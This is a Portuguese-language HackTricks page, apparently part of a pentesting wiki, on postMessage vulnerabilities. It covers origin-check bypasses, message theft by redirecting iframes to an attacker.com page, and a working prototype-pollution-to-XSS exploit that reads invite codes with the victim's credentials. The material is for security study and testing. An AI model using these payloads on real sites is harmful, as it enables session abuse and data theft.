PostMessage Vulnerabilities

PostMessage Vulnerabilities

Support HackTricks

Enviar PostMessage

PostMessage usa a seguinte função para enviar uma mensagem:

targetWindow.postMessage(message, targetOrigin, [transfer]);

# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">

# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')

# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')

Note que targetOrigin pode ser um '*' ou uma URL como https://company.com. No segundo cenário, a mensagem só pode ser enviada para aquele domínio (mesmo que a origem do objeto window seja diferente). Se o curinga for usado, as mensagens podem ser enviadas para qualquer domínio, e serão enviadas para a origem do objeto Window.

Atacando iframe & curinga em targetOrigin

Como explicado em este relatório, se você encontrar uma página que pode ser iframed (sem proteção X-Frame-Header) e que está enviando mensagens sensíveis via postMessage usando um curinga (*), você pode modificar a origem do iframe e vazar a mensagem sensível para um domínio controlado por você. Note que se a página pode ser iframed, mas o targetOrigin está definido para uma URL e não para um curinga, esse truque não funcionará.

<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s

//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>

exploração do addEventListener

addEventListener é a função usada pelo JS para declarar a função que está esperando postMessages. Um código semelhante ao seguinte será usado:

window.addEventListener("message", (event) => {
if (event.origin !== "http://example.org:8080")
return;

// ...
}, false);

Note que neste caso, a primeira coisa que o código faz é verificar a origem. Isso é terrivelmente importante, principalmente se a página for fazer algo sensível com as informações recebidas (como mudar uma senha). Se não verificar a origem, atacantes podem fazer com que as vítimas enviem dados arbitrários para esses endpoints e mudem as senhas das vítimas (neste exemplo).

Enumeração

Para encontrar ouvintes de eventos na página atual, você pode:

  • Pesquisar o código JS por window.addEventListener e $(window).on (versão JQuery)

  • Executar no console das ferramentas de desenvolvedor: getEventListeners(window)

  • Ir para Elements --> Event Listeners nas ferramentas de desenvolvedor do navegador

Bypass de verificação de origem

  • O atributo event.isTrusted é considerado seguro, pois retorna True apenas para eventos gerados por ações genuínas do usuário. Embora seja desafiador contornar se implementado corretamente, sua importância nas verificações de segurança é notável.

  • O uso de indexOf() para validação de origem em eventos PostMessage pode ser suscetível a contornos. Um exemplo que ilustra essa vulnerabilidade é:

("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
  • O método search() de String.prototype.search() é destinado a expressões regulares, não a strings. Passar qualquer coisa que não seja uma regexp leva a uma conversão implícita para regex, tornando o método potencialmente inseguro. Isso ocorre porque em regex, um ponto (.) atua como um curinga, permitindo contornar a validação com domínios especialmente elaborados. Por exemplo:

"https://www.safedomain.com".search("www.s.fedomain.com")
  • A função match(), semelhante a search(), processa regex. Se a regex estiver mal estruturada, pode ser suscetível a contornos.

  • A função escapeHtml é destinada a sanitizar entradas escapando caracteres. No entanto, ela não cria um novo objeto escapado, mas sobrescreve as propriedades do objeto existente. Esse comportamento pode ser explorado. Particularmente, se um objeto puder ser manipulado de tal forma que sua propriedade controlada não reconheça hasOwnProperty, o escapeHtml não funcionará como esperado. Isso é demonstrado nos exemplos abaixo:

  • Falha Esperada:

result = u({
message: "'\"<b>\\"
});
result.message // "&#39;&quot;&lt;b&gt;\"
  • Contornando a escapada:

result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\"

No contexto dessa vulnerabilidade, o objeto File é notavelmente explorável devido à sua propriedade name somente leitura. Essa propriedade, quando usada em templates, não é sanitizada pela função escapeHtml, levando a potenciais riscos de segurança.

  • A propriedade document.domain em JavaScript pode ser definida por um script para encurtar o domínio, permitindo uma aplicação mais relaxada da política de mesma origem dentro do mesmo domínio pai.

e.origin == window.origin bypass

Ao incorporar uma página da web dentro de um iframe sandboxed usando %%%%%%, é crucial entender que a origem do iframe será definida como nula. Isso é particularmente importante ao lidar com atributos de sandbox e suas implicações na segurança e funcionalidade.

Ao especificar allow-popups no atributo sandbox, qualquer janela pop-up aberta de dentro do iframe herda as restrições de sandbox de seu pai. Isso significa que, a menos que o atributo allow-popups-to-escape-sandbox também seja incluído, a origem da janela pop-up é igualmente definida como null, alinhando-se com a origem do iframe.

Consequentemente, quando uma pop-up é aberta sob essas condições e uma mensagem é enviada do iframe para a pop-up usando postMessage, ambas as extremidades de envio e recebimento têm suas origens definidas como null. Essa situação leva a um cenário onde e.origin == window.origin avalia como verdadeiro (null == null), porque tanto o iframe quanto a pop-up compartilham o mesmo valor de origem null.

Para mais informações leia:

Contornando e.source

É possível verificar se a mensagem veio da mesma janela em que o script está ouvindo (especialmente interessante para Content Scripts de extensões de navegador para verificar se a mensagem foi enviada da mesma página):

// If it’s not, return immediately.
if( received_message.source !== window ) {
return;
}

Você pode forçar e.source de uma mensagem a ser nulo criando um iframe que envia o postMessage e é imediatamente deletado.

Para mais informações leia:

Bypass do X-Frame-Header

Para realizar esses ataques, idealmente você poderá colocar a página da vítima dentro de um iframe. Mas alguns cabeçalhos como X-Frame-Header podem prevenir esse comportamento. Nesses cenários, você ainda pode usar um ataque menos furtivo. Você pode abrir uma nova aba para a aplicação web vulnerável e se comunicar com ela:

<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>

Roubo de mensagem enviada para o filho bloqueando a página principal

Na página a seguir, você pode ver como poderia roubar um dado sensível de postmessage enviado para um iframe filho ao bloquear a página principal antes de enviar os dados e abusar de um XSS no filho para vazar os dados antes que sejam recebidos:

Roubo de mensagem modificando a localização do iframe

Se você puder iframe uma página da web sem X-Frame-Header que contém outro iframe, você pode mudar a localização desse iframe filho, então, se ele estiver recebendo um postmessage enviado usando um wildcard, um atacante poderia mudar a origem desse iframe para uma página controlada por ele e roubar a mensagem:

postMessage para Poluição de Protótipo e/ou XSS

Em cenários onde os dados enviados através de postMessage são executados por JS, você pode iframe a página e explorar a poluição de protótipo/XSS enviando o exploit via postMessage.

Um par de XSS muito bem explicados através de postMessage pode ser encontrado em https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html

Exemplo de um exploit para abusar da Poluição de Protótipo e depois XSS através de um postMessage para um iframe:

<html>
<body>
<iframe id="idframe" src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document.getElementById('iframe_victim').contentWindow.postMessage('{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\\" />"}}}','*');
document.getElementById('iframe_victim').contentWindow.postMessage(JSON.stringify("refresh"), '*');
}

setTimeout(get_code, 2000);
</script>
</body>
</html>

Para mais informações:

Referências

Support HackTricks

Last updated